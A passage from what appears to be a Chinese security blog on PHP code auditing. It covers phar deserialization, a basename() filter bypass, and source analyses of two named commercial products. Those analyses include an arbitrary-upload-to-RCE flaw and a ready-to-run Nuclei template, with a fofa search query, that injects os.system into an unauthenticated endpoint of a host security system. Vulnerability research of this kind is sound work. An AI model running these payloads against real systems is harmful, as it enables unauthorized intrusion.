)(n.p,{children:(0,r.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191648359.png",alt:"img"})}),"\n",(0,r.jsx)(n.h6,{id:"amengphp",children:"Ameng.php"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:" data; // TODO: Implement __destruct() method.\n }\n}\ninclude('phar://phar.phar');\n?>\n"})}),"\n",(0,r.jsx)(n.p,{children:"\u6267\u884c\u7ed3\u679c\uff1a"}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191648360.png",alt:"img"})}),"\n",(0,r.jsxs)(n.p,{children:["\u8fd9\u91cc\u7b80\u5355\u4ecb\u7ecd\u4e00\u4e0bphar\u7684\u5927\u81f4\u5e94\u7528\uff0c\u66f4\u8be6\u7ec6\u53ef\u4ee5\u53c2\u8003",(0,r.jsx)(n.a,{href:"https://paper.seebug.org/680/",children:"seebug (opens new window)"}),"\u3002"]}),"\n",(0,r.jsx)(n.h3,{id:"\u5176\u4ed6\u4e00\u4e9b\u603b\u7ed3",children:"\u5176\u4ed6\u4e00\u4e9b\u603b\u7ed3"}),"\n",(0,r.jsx)(n.h4,{id:"basename",children:"basename()"}),"\n",(0,r.jsx)(n.p,{children:"\u6b64\u51fd\u6570\u8fd4\u56de\u8def\u5f84\u4e2d\u7684\u6587\u4ef6\u540d\u7684\u4e00\u90e8\u5206(\u540e\u9762)"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"basename(path,suffix)\n"})}),"\n",(0,r.jsx)(n.h5,{id:"\u53c2\u6570-31",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:"path\uff1a\u5fc5\u9700\u3002\u89c4\u5b9a\u8981\u68c0\u67e5\u7684\u8def\u5f84\u3002"}),"\n",(0,r.jsx)(n.li,{children:"suffix\uff1a\u53ef\u9009\u3002\u89c4\u5b9a\u6587\u4ef6\u7684\u6269\u5c55\u540d\u3002"}),"\n"]}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:'\n \n\u6267\u884c\u7ed3\u679c\u2014\u2014>\ntest.php\n'})}),"\n",(0,r.jsx)(n.p,{children:"\u6b64\u51fd\u6570\u8fd8\u6709\u4e00\u4e2a\u7279\u70b9\uff0c\u5c31\u662f\u4f1a\u53bb\u6389\u6587\u4ef6\u540d\u7684\u975eASCII\u7801\u503c\u3002"}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"\n"})}),"\n",(0,r.jsxs)(n.p,{children:["\u6211\u4eec\u901a\u8fc7 url \u4f20\u5165\u53c2\u6570",(0,r.jsx)(n.code,{children:"x=index.php/config.php/%ff"})]}),"\n",(0,r.jsx)(n.p,{children:"\u7ed3\u679c\u5982\u4e0b\uff1a"}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191648361.png",alt:"img"})}),"\n",(0,r.jsxs)(n.p,{children:["\u6211\u4eec\u770b\u5230\uff0c",(0,r.jsx)(n.code,{children:"%ff"}),"\u76f4\u63a5\u6ca1\u4e86\uff0c\u800c\u662f\u76f4\u63a5\u8f93\u51fa\u524d\u9762\u7684\u7684\u6587\u4ef6\u540d\uff0c\u8fd9\u4e2a\u53ef\u4ee5\u7528\u6765\u7ed5\u8fc7\u4e00\u4e9b\u6b63\u5219\u5339\u914d\u3002\u539f\u56e0\u5c31\u5728\u4e8e",(0,r.jsx)(n.code,{children:"%ff"}),"\u5728\u901a\u8fc7 url \u4f20\u53c2\u65f6\u4f1a\u88ab url \u89e3\u7801\uff0c\u89e3\u7801\u6210\u4e86\u4e0d\u53ef\u89c1\u5b57\u7b26\uff0c\u6ee1\u8db3\u4e86",(0,r.jsx)(n.code,{children:"basename"}),"\u51fd\u6570\u5bf9\u6587\u4ef6\u540d\u7684\u975eASCII\u503c\u53bb\u9664\u7684\u7279\u70b9\uff0c\u4ece\u800c\u88ab\u5220\u6389\u3002"]}),"\n",(0,r.jsx)(n.h2,{id:"\u5b9e\u6218\u9879\u76ee",children:"\u5b9e\u6218\u9879\u76ee"}),"\n",(0,r.jsx)(n.h3,{id:"\u4efb\u5b50\u884c\u7f51\u7edc\u5b89\u5168\u5ba1\u8ba1\u7cfb\u7edfphp",children:"\u4efb\u5b50\u884c\u7f51\u7edc\u5b89\u5168\u5ba1\u8ba1\u7cfb\u7edf(PHP)"}),"\n",(0,r.jsxs)(n.p,{children:["\u5bfb\u627e\u5173\u952e\u51fd\u6570 ",(0,r.jsx)(n.code,{children:"move_uploaded_file"})]}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191648362.png",alt:"image-20240910171850890"})}),"\n",(0,r.jsx)(n.p,{children:"\u63d0\u53d6\u90e8\u5206\u4ee3\u7801\u8fdb\u884c\u5206\u6790"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"if($get_url_param == 'aaa_local_web_preview'){\n\tif($_GET['name']!=null) $filename = formatget($_GET['name']);\n\tif($_GET['suffix']!=null) $suffix = formatget($_GET['suffix']);\n\tif($_GET['webTitle']!=null) $webTitle = formatget($_GET['webTitle']);\n\tif($_GET['wcmWord']!=null) $wcmWord = formatget($_GET['wcmWord']);\n\tif($_GET['titleOnly']!=null) $titleOnly = formatget($_GET['titleOnly']);\n\n\tif($_GET['read']!=null) $read = formatget($_GET['read']);\n\t$read = ($read)?$read:0;\n\n\t$webTitle = ($webTitle)?$webTitle:\"\";\n\t$wcmWord = ($wcmWord)?$wcmWord:\"\";\n\n\t$webTitle = utf8format($webTitle);\n\t$wcmWord = utf8format($wcmWord);\t\n\t\n\t//\u5df2\u7ecf\u9884\u89c8\u8fc7\uff0c\u4e0d\u518d\u8fdb\u884c\u4e0a\u4f20\u56fe\u7247\u52a8\u4f5c\uff0c\u4e14\u4e0d\u5220\u9664tmpPic\u6587\u4ef6\n\tif(!$read){\n\t\t\tif((!file_exists('/usr/local/webui/auth/images/tmpPic.jpg'))&&(!file_exists('/usr/local/webui/auth/images/tmpPic.jpg'))&&(!file_exists('/usr/local/webui/auth/images/tmpPic.png'))&&(!file_exists('/usr/local/webui/auth/images/tmpPic.jpeg'))&&(!file_exists('/usr/local/webui/auth/images/tmpPic.gif'))&&(!file_exists('/usr/local/webui/auth/images/tmpPic'))){\n\t\t\tmove_uploaded_file($_FILES[$filename][\"tmp_name\"],'/usr/local/webui/auth/images/tmpPic'.$suffix);\n\t\t\t$preview_tip = '\u4e0a\u4f20\u6587\u4ef6\u8fc7\u5927\uff0c\u5efa\u8bae\u5c0f\u4e8e'.$size.'MB';\n\t\t\tif(filesize('/usr/local/webui/auth/images/tmpPic'.$suffix)>$bytesize){\n\t\t\t\tunlink('/usr/local/webui/auth/images/tmpPic'.$suffix);\n\t\t\t\techo \"{\";\n\t\t\t\techo\t\t\t\t\"tip: '\" . $preview_tip . \"',\\n\";\n\t\t\t\techo\t\t\t\t\"msg: '\" . $msg . \"'\\n\";\n\t\t\t\techo \"}\";\n\t\t\t\treturn;\n\t\t\t}\n\t\t}else{\n\t\t\tmove_uploaded_file($_FILES[$filename][\"tmp_name\"],'/usr/local/webui/auth/images/test'.$suffix);\n\t\t\t$preview_tip = '\u4e0a\u4f20\u6587\u4ef6\u8fc7\u5927\uff0c\u5efa\u8bae\u5c0f\u4e8e'.$size.'MB';\n\t\t\tif(filesize('/usr/local/webui/auth/images/test'.$suffix)>$bytesize){\n\t\t\t\techo \"{\";\n\t\t\t\techo\t\t\t\t\"tip: '\" . $preview_tip . \"',\\n\";\n\t\t\t\techo\t\t\t\t\"msg: '\" . $msg . \"'\\n\";\n\t\t\t\techo \"}\";\n\t\t\t\treturn;\n\t\t\t}else{\n\t\t\t\tunlink('/usr/local/webui/auth/images/tmpPic.jpg');\n\t\t\t\tunlink('/usr/local/webui/auth/images/tmpPic.png');\n\t\t\t\tunlink('/usr/local/webui/auth/images/tmpPic.gif');\n\t\t\t\tunlink('/usr/local/webui/auth/images/tmpPic.jpeg');\n\t\t\t\tunlink('/usr/local/webui/auth/images/tmpPic');\n\t\t\t\trename('/usr/local/webui/auth/images/test'.$suffix,'/usr/local/webui/auth/images/tmpPic'.$suffix);\n\t\t\t}\n\t\t}\n\n\t}\n\n\t\n\t$tmpPage = file_get_contents('/usr/local/webui/auth/index_template.html',true);\n\n\tif($suffix == \"milo\"){\n\t\t$newName = \"main.jpg\";\n\t}else{\n\t\t$newName = 'tmpPic'.$suffix;\n\t}\n\t\n\t//\u6362\n\t\n\t//\u53d6\u6d88\u6309\u94ae\u4f5c\u7528\n\t$tmpPage = str_replace('onclick', '',$tmpPage);\n\t//$tmpPage = str_replace('button', 'but',$tmpPage);\n\t$tmpPage = str_replace('function form_submit()', 'function form_fail()',$tmpPage);\n\t$tmpPage = str_replace('javascript:login_out();', 'javascript:;',$tmpPage);\n\t$tmpPage = str_replace('auth_changepwd.html?weburl=', '',$tmpPage);\n\t$tmpPage = str_replace('{title}', $webTitle,$tmpPage);\n\t$tmpPage = str_replace('{wcmWord}', $wcmWord,$tmpPage);\n\t$tmpPage = str_replace('main.jpg', $newName,$tmpPage);\n\n\tfile_put_contents('/usr/local/webui/auth/preview.html',$tmpPage);\n\n\t$new = $filename;\n\t$msg = \"success\";\n\n\techo \"{\";\n\techo\t\t\t\t\"error: '\" . $new . \"',\\n\";\n\techo\t\t\t\t\"msg: '\" . $msg . \"'\\n\";\n\techo \"}\";\n\treturn;\n}\n\n"})}),"\n",(0,r.jsxs)(n.p,{children:["\u53d1\u73b0\u5371\u9669\u4f4d\u7f6e",(0,r.jsx)(n.code,{children:"move_uploaded_file"}),"\u8be5\u903b\u8f91\u91cc\u5b58\u5728\u4e24\u4e2a\uff0c\u7b2c\u4e00\u4e2a\u53d1\u73b0\u662f\u9700\u8981\u5b58\u5728\u7684\u624d\u80fd\u8fdb\u5165\u5176\u4e2d\uff0c\u6240\u4ee5\u76f4\u63a5\u770b\u7b2c\u4e8c\u4e2a\u5373\u53ef"]}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191648363.png",alt:"image-20240910172055291"})}),"\n",(0,r.jsxs)(n.p,{children:["\u5411\u4e0a\u627e\u5bfb",(0,r.jsx)(n.code,{children:"$suffix"})," \u53c2\u6570\uff0c\u53d1\u73b0\u662f\u901a\u8fc7",(0,r.jsx)(n.code,{children:"GET"}),"\u4f20\u5165\uff0c\u4e14\u8fdb\u5165",(0,r.jsx)(n.code,{children:"formatget"}),"\u51fd\u6570"]}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191648364.png",alt:"image-20240910172352684"})}),"\n",(0,r.jsxs)(n.p,{children:["\u67e5\u8be2",(0,r.jsx)(n.code,{children:"formatget"}),"\u51fd\u6570\u5b58\u5728\u4e24\u4e2a\u7528\u6cd5\uff0c\u4f46\u8fd9\u4e24\u4e2a\u51fd\u6570\u4f60\u4f1a\u53d1\u73b0\u662f\u4e00\u81f4\u7684"]}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191648365.png",alt:"image-20240910172435968"})}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191648366.png",alt:"image-20240910172515067"})}),"\n",(0,r.jsxs)(n.p,{children:[(0,r.jsx)(n.code,{children:"htmlspecialchars"}),"\u4e3a\u5c06\u5b57\u7b26\u4e32\u8f6c\u6362\u4e3aHTML\u7f16\u7801\uff0c\u8fd4\u56de\u4e00\u4e2a\u53bb\u6389\u53cd\u659c\u6760\u7684\u5b57\u7b26\u4e32\u3002",(0,r.jsx)(n.code,{children:"stripslashes"}),"\u8bc6\u522b\u7c7b\u4f3c C \u7684 ",(0,r.jsx)(n.code,{children:"\\n"}),"\u3001",(0,r.jsx)(n.code,{children:"\\r"})," ...\u3001\u516b\u8fdb\u5236\u548c\u5341\u516d\u8fdb\u5236\u8868\u793a\u5f62\u5f0f\u3002\u5747\u65e0\u4f24\u5927\u96c5\u3002\u4e5f\u5c31\u662f\u662f\u8bf4",(0,r.jsx)(n.code,{children:"suffix"}),"\u4f5c\u4e3a\u540d\u79f0\u62fc\u63a5\u5230\u6587\u4ef6\u540d\u4e0a\u5e76\u672a\u505a\u4efb\u4f55\u8fc7\u6ee4\u3002"]}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191648367.png",alt:"image-20240910172828260"})}),"\n",(0,r.jsx)(n.p,{children:"\u4e8e\u662f\u6211\u4eec\u6784\u9020\u4e00\u4e0b\u8bf7\u6c42\u5305\uff0c\u5e76\u53d1\u751f\u8bf7\u6c42\u5305\u5373\u53ef\u4e0a\u4f20\u6587\u4ef6"}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191648368.png",alt:"image-20240910173034048"})}),"\n",(0,r.jsx)(n.p,{children:"\u8bbf\u95ee\u4e0a\u4f20\u5730\u5740\u5373\u53efRCE"}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191648369.png",alt:"image-20240910173256273"})}),"\n",(0,r.jsx)(n.h3,{id:"\u5c71\u77f3\u4e91\u9274\u4e3b\u673a\u5b89\u5168\u7ba1\u7406\u7cfb\u7edfphppython",children:"\u5c71\u77f3\u4e91\u9274\u4e3b\u673a\u5b89\u5168\u7ba1\u7406\u7cfb\u7edf(PHP\u3001Python)"}),"\n",(0,r.jsxs)(n.blockquote,{children:["\n",(0,r.jsx)(n.p,{children:"\u5c71\u77f3\u4e91\u9274\u4e3b\u673a\u5b89\u5168\u7ba1\u7406\u7cfb\u7edf\u5b58\u5728\u524d\u53f0\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u5728\u6ca1\u6709\u767b\u5f55\u7684\u60c5\u51b5\u4e0b\u6267\u884c\u6267\u884c\u7cfb\u7edf\u547d\u4ee4\uff0c\u5355\u53ea\u80fd\u901a\u8fc7\u6587\u4ef6\u67e5\u770b\u56de\u663e\u3002"}),"\n"]}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-yaml",children:'id: hillstonenet-yunjian-rce2\n\ninfo:\n name: \u5c71\u77f3\u4e91\u9274\u4e3b\u673a\u5b89\u5168\u7ba1\u7406\u7cfb\u7edf\u524d\u53f0\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e2\n author: b1ak2\n severity: critical\n description: |\n \u5c71\u77f3\u4e91\u9274\u4e3b\u673a\u5b89\u5168\u7ba1\u7406\u7cfb\u7edf\u5b58\u5728\u524d\u53f0\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u5728\u6ca1\u6709\u767b\u5f55\u7684\u60c5\u51b5\u4e0b\u6267\u884c\u6267\u884c\u7cfb\u7edf\u547d\u4ee4\uff0c\u5355\u53ea\u80fd\u901a\u8fc7\u6587\u4ef6\u67e5\u770b\u56de\u663e\u3002\n reference:\n - https://github.com/wy876/POC/blob/8e6d282d2616c5d5296e698f16bdcae2462ebe5c/%E5%B1%B1%E7%9F%B3%E7%BD%91%E7%A7%91%E4%BA%91%E9%89%B4%E5%AD%98%E5%9C%A8%E5%89%8D%E5%8F%B0%E4%BB%BB%E6%84%8F%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.md\n metadata: \n fofa-query: body="\u5c71\u77f3\u4e91\u9274\u4e3b\u673a\u5b89\u5168\u7ba1\u7406\u7cfb\u7edf"\n tags: hillstonenet,rce\n\nhttp:\n - raw:\n - |\n GET /master/ajaxActions/getTokenAction.php HTTP/1.1\n Host: {{Hostname}}\n Cookie: PHPSESSID=emhpeXVhbg;\n User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:123.0) Gecko/20100101 Firefox/123.0\n Accept: application/font-woff2;q=1.0,application/font-woff;q=0.9,*/*;q=0.8\n Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\n Accept-Encoding: gzip, deflate, br\n Sec-Fetch-Dest: font\n Sec-Fetch-Mode: cors\n Sec-Fetch-Site: same-origin\n Te: trailers\n Connection: close\n\n - |\n GET /master/ajaxActions/getMessageSettingAction.php?token_csrf={{token_csrf}}&company_uuid=aaa&platform_sel=os.system("id+>+/opt/var/majorsec/installation/master/runtime/img/config") HTTP/1.1\n Host: {{Hostname}}\n Cookie: PHPSESSID=emhpeXVhbg;\n User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:123.0) Gecko/20100101 Firefox/123.0\n Accept: application/font-woff2;q=1.0,application/font-woff;q=0.9,*/*;q=0.8\n Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\n Accept-Encoding: gzip, deflate, br\n Sec-Fetch-Dest: font\n Sec-Fetch-Mode: cors\n Sec-Fetch-Site: same-origin\n Te: trailers\n Connection: close\n\n\n - |\n GET /master/img/config HTTP/1.1\n Host: {{Hostname}}\n Cookie: PHPSESSID=gs8bl1b288ummccm9n3ub4g323\n User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:123.0) Gecko/20100101 Firefox/123.0\n Accept: application/font-woff2;q=1.0,application/font-woff;q=0.9,*/*;q=0.8\n Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\n Accept-Encoding: gzip, deflate, br\n Sec-Fetch-Dest: font\n Sec-Fetch-Mode: cors\n Sec-Fetch-Site: same-origin\n Te: trailers\n Connection: close\n\n extractors:\n # \u6b63\u5219\u5339\u914d\uff0c\u63d0\u53d6\u6574\u4e2a\u5339\u914d\u5230\u7684\u503c\n - type: regex\n name: token_csrf\n part: body_1\n internal: true\n regex:\n - \\S{32}\n\n matchers-condition: and\n matchers:\n - type: word\n part: body_3\n words:\n - "uid=0(root) gid=0(root) groups=0(root)"\n\n - type: word\n part: body_2\n words:\n - "Status"\n - "ErrMsg"\n condition: and\n\n - type: status\n part: status_code_2\n status:\n - 200\n'})}),"\n",(0,r.jsxs)(n.p,{children:["\u5728\u8fd9\u4e2a\u6f0f\u6d1e\u4e2d\u51fa\u53d1\u70b9\u662f",(0,r.jsx)(n.code,{children:"getMessageSettingAction.php"}),"\u6587\u4ef6\u7684",(0,r.jsx)(n.code,{children:"platform_sel"}),"\u53c2\u6570\uff0c\u67e5\u770b\u76f8\u5173\u4ee3\u7801\uff0c\u53d1\u73b0\u662f\u4e00\u6bb5",(0,r.jsx)(n.code,{children:"json"}),"\u8bf7\u6c42"]}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"$result['status'], \"Result\"=>$resultArray);\n echo json_encode($resp,JSON_UNESCAPED_UNICODE);\n?>\n"})}),"\n",(0,r.jsxs)(n.p,{children:["\u89e6\u53d1\u65b9\u5f0f\uff0c\u8fd9\u6bb5\u4e3a",(0,r.jsx)(n.code,{children:"python"}),"\u4ee3\u7801"]}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-python",children:'os.system("id+>+/opt/var/majorsec/installation/master/runtime/img/config")\n'})}),"\n",(0,r.jsxs)(n.p,{children:["\u4e8e\u662f\u4e0d\u96be\u731c\u51faphp\u53ea\u662f\u4e00\u4e2a\u4e2d\u95f4\u4ef7\uff0c\u89e6\u53d1\u7684\u5730\u65b9\u662f",(0,r.jsx)(n.code,{children:"python"}),"\u8d77\u7684\u670d\u52a1\uff0c\u91cc\u9762\u80af\u5b9a\u6709\u4e2a",(0,r.jsx)(n.code,{children:"eval"}),"\u51fd\u6570\u4e4b\u7c7b\u7684"]}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"function postCommand($parameter){\n $ch = curl_init(); \n curl_setopt($ch, CURLOPT_POST, 1); \n curl_setopt($ch, CURLOPT_POSTFIELDS, $parameter);\n curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); \n $url = \"http://\".$GLOBALS['serverNm'].\":8000/\";\n writeLog('post param is '.$parameter, 2);\n writeLog('url is '.$url, 2);\n curl_setopt($ch, CURLOPT_URL,$url); \n curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); \n curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); \n $headers = array(\n \"Content-Length: \".strlen($parameter),\n \"Content-Type: application/x-www-form-urlencoded\"\n ); \n curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); \n $result = curl_exec ($ch); \n\twriteLog('post api returns:'.$result, 2);\n\t$httpCode = curl_getinfo($ch,CURLINFO_HTTP_CODE);\n\twriteLog($url.' status:'.$httpCode, 2);\n writeLog($url.' get api returns:'.$result, 2);\n curl_close ($ch);\n return array(\"status\"=>$httpCode, \"body\"=>$result);\n\n}\n"})}),"\n",(0,r.jsxs)(n.p,{children:["\u627e\u5230\u5176\u4e2d\u7684",(0,r.jsx)(n.code,{children:"python"}),"\u670d\u52a1"]}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191648370.png",alt:"image-20240911103748098"})}),"\n",(0,r.jsx)(n.p,{children:"\u67e5\u770b\u76f8\u5173\u4ee3\u7801\u53d1\u73b0\u4e3a\u4e00\u4e2a\u7b80\u6613\u7684python\u670d\u52a1\u3002"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-python",children:"class CommandHandler (tornado.web.RequestHandler):\n # @gen.coroutine\n def post(self):\n try:\n logging.debug('\\n'.join(\n '{0}:{1}'.format(k, v) for (k, v) in self.request.headers.get_all()\n ))\n logging.debug(self.request.body)\n\n command = self.request.body\n ret, msg = routeCommand(command, self)\n\n if ret and ret != \"alreadySendToFrontEnd\":\n self.write(msg)\n self.finish()\n elif not ret:\n logging.error(msg)\n raise Exception(msg)\n except Exception as e:\n logging.error(\"CommandHandler Exception: {}\".format(e))\n raise tornado.web.HTTPError(400)\n\n def yamin_send_back(self, code, msg):\n logging.debug('msg:' + str(msg))\n self.write(msg)\n self.flush()\n self.finish()\n return\n\n\nconf, store = {}, {}\n\n\nif not initStore():\n sys.exit(-1)\n\napp = tornado.web.Application([\n (r\"/\", CommandHandler),\n])\n"})}),"\n",(0,r.jsxs)(n.p,{children:["\u8def\u7531\u5904\u7406\u51fd\u6570",(0,r.jsx)(n.code,{children:"routeCommand"})]}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-python",children:"def routeCommand(commandline, handler):\n global conf\n if not commandline:\n return False, \"Invalid command\"\n\n if len(commandline) > 4096 or len(commandline) < 4:\n return False, \"Invalid command\"\n\n command, args = None, None\n try:\n l = commandline.split('|', 1)\n command, args = l[:2] if len(l) > 1 else (l[0], '')\n except Exception as e:\n return False, \"Cannot parse {}:{}\".format(commandline, e)\n\n stage = getStage()\n if command not in commands[stage]:\n return False, \"Invalid command {0} at stage {1}\".format(command, stage)\n if stage in (2, 3) and not initStore():\n return False, \"Unavailable service\"\n\n conf['server'] = handler\n try:\n command = command.replace('-', '_')\n return eval(command)(args=args.split('|'), conf=conf, store=store)\n except Exception as e:\n return False, e\n"})}),"\n",(0,r.jsxs)(n.p,{children:["\u8fd9\u6bb5\u51fd\u6570\u5c31\u662f\u901a\u8fc7\u5904\u7406\u4e0d\u540c\u7684",(0,r.jsx)(n.code,{children:"command"}),"\u5206\u522b\u8c03\u7528\u4e0d\u540c\u7684\u51fd\u6570"]}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-python",children:"return eval(command)(args=args.split('|'), conf=conf, store=store)\n"})}),"\n",(0,r.jsxs)(n.p,{children:["\u8fd9\u4e2a",(0,r.jsx)(n.code,{children:"command"})," \u4e5f\u6709\u4e00\u6bb5\u5217\u8868\uff0c\u4e5f\u5c31\u662f"]}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-python",children:"commands = [\n # bootstrap.sh\n ['dummy', 'ping', 'init-dbs', 'set-init-stage', 'call-upgrade-dbs', 'get-suid',\n 'get-company-uuid', 'set-company-init', 'set-hasher-link', 'verify-passwd'],\n # cli.py\n ['dummy', 'ping', 'set-net', 'get-net', 'get-suid', 'set-hasher-link', 'set-userinfo', 'get-command-result',\n 'set-init-stage', 'get-init-stage', 'update-serverjson', 'get-company-uuid', 'set-company-init', 'verify-passwd'],\n # config system via master\n ['dummy', 'ping', 'set-net', 'get-net', 'set-system', 'set-license', 'get-net2', 'get-backup-config', 'set-backup-run',\n 'set-userinfo', 'get-license', 'get-userinfo', 'get-datetime', 'get-company-uuid', 'set-backup-test', 'set-backup-config', 'get-license-info',\n 'set-passwd', 'set-init-stage', 'get-init-stage', 'set-datetime', 'set-ntp', 'get-ntp', 'get-zonelist', 'set-hasher-link', 'get-uptime','set-firstconfig',\n 'set-certificate', 'get-if-pw-changed', 'set-nginx-reload', 'set-company-init', 'get-greeting-message-status', 'get-backup-filelist-v2', 'set-makeAgent',\n 'set-start-init', 'get-cer-time', 'get-cer-info', 'set-zonetime', 'get-log', 'set-greeting-message-status', 'get-command-result', 'set-move-file',\n 'get-mail-info', 'set-mail-info', 'restart-appliance', 'update-serverjson', 'get-suid', 'apply-hotfix', 'get-license-preview', 'set-customziedId',\n 'verify-passwd', 'change-service-status', 'get-service-status', 'get-remote-status', 'get-company-list', 'get-sms-setting',\n 'disable-remote', 'get-remote-token', 'get-cpuMem', 'get-cpuMem2', 'get-disk', 'get-upgrade-integrity', 'get-upgrade-log', 'get-company-code',\n 'get-account-state', 'unlock-account', 'set-mp-time', 'get-login-failed-count', 'get-license-expired', 'get-current-license-info', 'get-block-incoming-logs'],\n # system is running\n ['dummy', 'ping', 'set-passwd', 'set-service', 'get-if-pw-changed', 'get-net2', 'get-command-result', 'set-backup-test', 'set-backup-config',\n 'set-certificate', 'set-license', 'set-userinfo', 'set-datetime', 'set-ntp', 'get-ntp', 'get-zonelist', 'get-company-uuid',\n 'set-system', 'set-repo', 'download-file', 'get-backup-filelist', 'get-log', 'get-product-info', 'set-backup-run',\n 'get-upgrade-fileinfo', 'get-system', 'get-service-status', 'get-remote-status', 'set-service-restart-after-time-change', 'get-company-code',\n 'get-mail-info', 'set-mail-info', 'set-zonetime', 'get-datetime', 'set-hasher-link', 'get-backup-config', 'get-command-result', 'set-company',\n 'get-userinfo', 'get-license', 'set-net', 'get-net', 'set-init-stage', 'get-greeting-message-status', 'verify-passwd', 'set-firstconfig',\n 'get-init-stage', 'get-disk', 'get-cpuMem', 'get-cer-time', 'get-suid', 'get-cpuMem2', 'get-backup-filelist-v2', 'set-move-file',\n 'get-cer-info', 'get-company-code', 'restart-appliance', 'get-ehelp-ticket', 'set-greeting-message-status', 'get-about-us', 'apply-offline-package',\n 'set-ehelp-ticket', 'e-help', 'update-serverjson', 'e-help-download', 'get-upgrade-status', 'get-license-info', 'set-makeAgent', 'get-mt-status',\n 'download-upgrade-file', 'shutdown-appliance', 'get-server-agent-vers', 'get-remote-token', 'get-license-preview', 'change-service-status',\n 'agent-json-to-sqlite', 'send-signal-process', 'apply-hotfix', 'sync-serverjson', 'get-license-days', 'set-customziedId', 'force-restart-appliance',\n 'get-sms-setting', 'set-sms-setting', 'disable-remote', 'set-sms-test', 'get-company-list', 'get-uptime', 'get-upgrade-integrity',\n 'get-upgrade-log', 'get-account-state', 'unlock-account', 'set-mp-time', 'set-cleandisk-threshold', 'get-cleandisk-threshold', 'get-login-failed-count',\n 'get-license-expired', 'get-current-license-info', 'get-block-incoming-logs'],\n # dummy\n ['get-upgrade-status', 'get-upgrade-log'],\n # upgrade system via yamin-self\n ['dummy', 'ping', 'set-init-stage', 'get-init-stage']\n]\n"})}),"\n",(0,r.jsxs)(n.p,{children:["\u4e0a\u6587\u63d0\u5230\u7684",(0,r.jsx)(n.code,{children:"POC"}),"\uff0c\u5728",(0,r.jsx)(n.code,{children:"php"}),"\u4e2d\u7684\u76f8\u5173\u4ee3\u7801\u5982\u4e0b"]}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:'function getMessageSettingInfo($param){\n return handleEmptyResult(postCommand("get-sms-setting|".$param));\n}\n'})}),"\n",(0,r.jsxs)(n.p,{children:["\u5b83\u5728",(0,r.jsx)(n.code,{children:"python"}),"\u7684\u903b\u8f91\u662f"]}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-python",children:"def get_sms_setting(**kwargs):\n try:\n store = kwargs['store']\n args = kwargs['args']\n param = eval(args[0])\n # company_id = 0\n if \"company_uuid\" not in param:\n logging.error(\"invalid request, not found company_uuid\")\n return True, setResult(1, \"invalid request, not found company_uuid\")\n if \"setting_type\" not in param:\n logging.error(\"invalid request, not found setting_type\")\n return True, setResult(1, \"invalid request, not found setting_type\")\n with store['dbs'].connect() as conn:\n q2 = {\n \"query\": \"CALL 